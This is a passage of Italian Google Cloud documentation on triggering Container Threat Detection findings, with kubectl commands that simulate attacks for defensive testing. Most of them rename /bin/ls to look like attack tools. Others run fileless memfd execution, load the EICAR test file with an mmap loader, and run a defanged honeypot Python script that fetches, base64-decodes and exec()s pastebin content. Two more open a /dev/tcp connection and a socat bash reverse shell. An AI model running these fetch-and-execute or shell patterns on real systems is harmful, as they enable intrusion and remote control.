         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo '$b64_payload' | base64 -d > /etc/issue;
            chmod 700 /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader;
            /tmp/loader /etc/issue;
            sha256sum /etc/issue;
            sleep 10"
      

Questa procedura di test crea un risultato Execution: Modified Malicious Skill Loaded che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: container escape

Per attivare un risultato Execution: Container Escape, inserisci un file binario nel container ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, la rinomina in uno strumento sospetto (botb-linux-amd64) e la esegue con argomenti aggiuntivi. Questa azione è considerata sospetta perché questa esecuzione simula un comportamento coerente con un tentativo di container escape.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci un file binario dello strumento di exploit dei container come botb-linux-amd64 ed eseguilo:

    • Nodo x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • Nodo ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Questa procedura di test crea un risultato Execution: Container Escape che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione senza file in /memfd:

Per attivare un risultato Execution: Fileless Execution in /memfd:, un processo deve essere eseguito dal file system in memoria /memfd:. Questo esempio utilizza l'immagine Python più recente. L'utilità /bin/ls viene copiata in un file anonimo in /memfd:. Questo file binario copiato viene poi eseguito. L'esecuzione di un file binario in /memfd: è contrassegnata come sospetta perché imita il comportamento di un oggetto che tenta di essere eseguito in memoria per evitare i rilevamenti basati su file.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crea un container con privilegi e apri bash per eseguire i comandi:

    • Nodo x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:latest \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open('/bin/ls','rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create('', 0)
      fname = '/proc/self/fd/{}'.format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ['/bin']
      os.execve(fname, args, os.environ)"
      
    • Nodo ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open('/bin/ls','rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create('', 0)
      fname = '/proc/self/fd/{}'.format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ['/bin']
      os.execve(fname, args, os.environ)"
      

Questa procedura di test crea un risultato Execution: Fileless Execution in /memfd: che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione della vulnerabilità Ingress Nightmare

Per attivare un risultato Execution: Ingress Nightmare Vulnerability Execution (Anteprima), esegui il file binario nginx nel container. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /bin/ls in un'altra posizione, la rinomina in un binario Nginx (nginx) e la esegue con argomenti aggiuntivi che fanno riferimento al file system /proc. Questa azione è considerata sospetta perché simula un comportamento coerente con l'exploit Ingress Nightmare (CVE-2025-1974), indicando così una potenziale esecuzione di codice remoto.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crea un file binario Nginx come nginx ed eseguilo mentre accedi al file system /proc:

    • Nodo x86:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • Nodo ARM:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

Questa procedura di test crea un risultato Execution: Ingress Nightmare Vulnerability Execution che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Per attivare un risultato Execution: Kubernetes Attack Tool Execution, inserisci un file binario nel container ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, la rinomina in uno strumento sospetto (amicontained) e la esegue. Questa azione è considerata sospetta perché simula un comportamento coerente con un potenziale tentativo di esecuzione di uno strumento di attacco Kubernetes.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci un file binario dello strumento di attacco Kubernetes come amicontained ed eseguilo:

    • Nodo x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • Nodo ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Questa procedura di test crea un risultato Execution: Kubernetes Attack Tool Execution che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione degli strumenti di ricognizione locale

Per attivare un risultato Execution: Local Reconnaissance Tool Execution, inserisci un file binario nel container ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, la rinomina in uno strumento sospetto (linenum.sh) e la esegue. Questa azione è considerata sospetta perché l'esecuzione del file binario rinominato simula un comportamento coerente con un tentativo di ricognizione locale.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduci un file binario dello strumento di ricognizione locale come linenum.sh ed eseguilo:

    • Nodo x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • Nodo ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Questa procedura di test crea un risultato Execution: Local Reconnaissance Tool Execution che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Python dannoso eseguito

Per attivare un risultato Execution: Malicious Python Executed, puoi eseguire Python nella seguente procedura nel tuo container.

La procedura esegue il deployment dell'immagine Python più recente, copia il codice Python che sembra dannoso e poi lo esegue. Per attivare un rilevamento, il codice Python deve apparire dannoso al rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui questo script in un nuovo container.

    Questo codice Python proviene da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il file binario dannoso. L'esecuzione dello script non causerà attività dannose nel container. Il file binario all'URL di riferimento non esiste e il tentativo di seguire l'URL genera un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script incorporato è ciò che attiva il rilevamento.

    • Nodo x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • Nodo ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Questa procedura di test crea un risultato Execution: Malicious Python Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati Execution: Malicious Python Executed. Per visualizzare tutti i risultati Execution: Malicious Python Executed durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Esecuzione: file binario dannoso modificato eseguito

Per attivare un risultato Execution: Modified Malicious Binary Executed, modifica un file binario dannoso nel container ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, modifica /etc/issue in un file dannoso di test EICAR e poi lo esegue. L'esecuzione del file binario è imprevista perché l'elemento /etc/issue creato viene modificato durante il runtime del container come file binario dannoso di test EICAR e il file binario EICAR è un file dannoso noto in base alla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia il file binario EICAR ed eseguilo:

    • Nodo x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
      

Questa procedura di test crea un risultato Execution: Modified Malicious Binary Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: libreria dannosa modificata caricata

Per attivare un risultato Esecuzione: libreria dannosa modificata caricata, modifica un file esistente con una libreria dannosa nel container e caricalo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, aggiorna il file /etc/issue con una libreria dannosa simulata e poi lo carica utilizzando mmap. Il caricamento della libreria di un file esistente è imprevisto perché la libreria è un file di test EICAR, classificato come dannoso dalla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Aggiungi il file EICAR e caricalo:

    • Nodo x86:

      tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
            sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
      "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
            sleep 10"
      

Questa procedura di test crea un risultato Execution: Modified Malicious Library Loaded che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Esecuzione di codice remoto Netcat nel container

Per attivare un evento Execution: Netcat Remote Code Execution In Container, è necessario che all'interno del container sia presente ed eseguito un file binario in grado di comunicare in rete (come netcat stesso o una copia rinominata di un'altra utilità). Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente come base. Copia il file binario /bin/ls e rinomina la copia in nc (un'utilità di rete). Questo file binario rinominato viene poi eseguito con argomenti appropriati per l'interazione di rete. Questa attività è contrassegnata come sospetta perché imita il comportamento spesso osservato durante i tentativi effettivi di esecuzione di codice remoto all'interno di ambienti containerizzati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduci un file binario dello strumento di comunicazione di rete come nc ed eseguilo con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nc; /tmp/nc -e"
      
    • Nodo ARM:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nc; /tmp/nc -e"
      

Questa procedura di test crea un risultato Execution: Netcat Remote Code Execution In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: possibile esecuzione di comandi arbitrari tramite CUPS (CVE-2024-47076)

Per attivare un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), deve essere eseguito un processo di shell da parte di foomatic-rip. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/bash in /tmp/foomatic-rip. Questo file binario rinominato e copiato viene eseguito come script shell per creare un comando di shell secondario. Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di eseguire workload arbitrari su sistemi compromessi.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui il comando con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
         'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
      
    • Nodo ARM:

      tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
      

Questa procedura di test crea un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Execution: Possibile esecuzione di comando remoto rilevata

Per attivare un risultato Execution: Possible Remote Command Execution Detected (anteprima), l'esecuzione di un comando o di un file binario comunemente associato all'esecuzione di comandi da remoto deve essere osservata all'interno di un container. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in touch (o un altro strumento come find). Questo file binario rinominato viene poi eseguito con argomenti appropriati per l'esecuzione di comandi da remoto. Questo comportamento viene contrassegnato come sospetto perché può indicare un tentativo di stabilire un accesso remoto non autorizzato al container o dal container.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario come touch con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • Nodo ARM:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      

Questa procedura di test crea un risultato Execution: Possible Remote Command Execution Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione del programma con ambiente proxy HTTP non consentito

Per attivare un risultato Execution: Program Run with Disallowed HTTP Proxy Env, esegui un programma all'interno di un container, impostando una variabile di ambiente proxy HTTP su un valore non consentito. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. L'utilità /bin/ls viene copiata e rinominata in /tmp/curl. Questo file binario rinominato viene poi eseguito con un valore non consentito impostato per una variabile di ambiente del proxy HTTP (ad esempio HTTP_PROXY, http_proxy). La combinazione di esecuzione del programma e presenza di un ambiente proxy HTTP non consentito viene contrassegnata come sospetta, in quanto suggerisce un tentativo di comunicazione tramite un proxy non autorizzato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario con funzionalità di rete, come curl, ed eseguilo con una variabile di ambiente proxy HTTP non consentita:

    • Nodo x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • Nodo ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Questa procedura di test crea un risultato Execution: Program Run with Disallowed HTTP Proxy Env che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: rilevata reverse shell Socat

Per attivare un risultato Execution: Socat Reverse Shell Detected, un processo deve stabilire una connessione reverse shell tramite l'utilità socat. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Viene installata l'utilità socat e viene creato un listener TCP locale, che viene poi associato all'utilità socat. La reverse shell creata da socat è contrassegnata come sospetta perché consente a un malintenzionato di eseguire workload arbitrari sul sistema.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crea un container ed esegui l'utilità socat:

    • Nodo x86:

      tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
      
    • Nodo ARM:

      tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
      

